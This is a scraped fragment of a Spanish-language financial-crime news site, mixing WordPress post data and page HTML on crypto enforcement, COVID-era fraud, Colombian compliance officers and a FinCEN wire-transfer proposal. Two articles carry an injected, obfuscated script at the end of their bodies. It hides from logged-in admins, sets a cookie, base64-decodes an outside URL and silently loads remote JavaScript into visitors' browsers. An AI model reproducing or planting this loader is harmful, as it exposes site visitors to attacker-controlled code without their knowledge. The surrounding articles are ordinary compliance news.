https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de 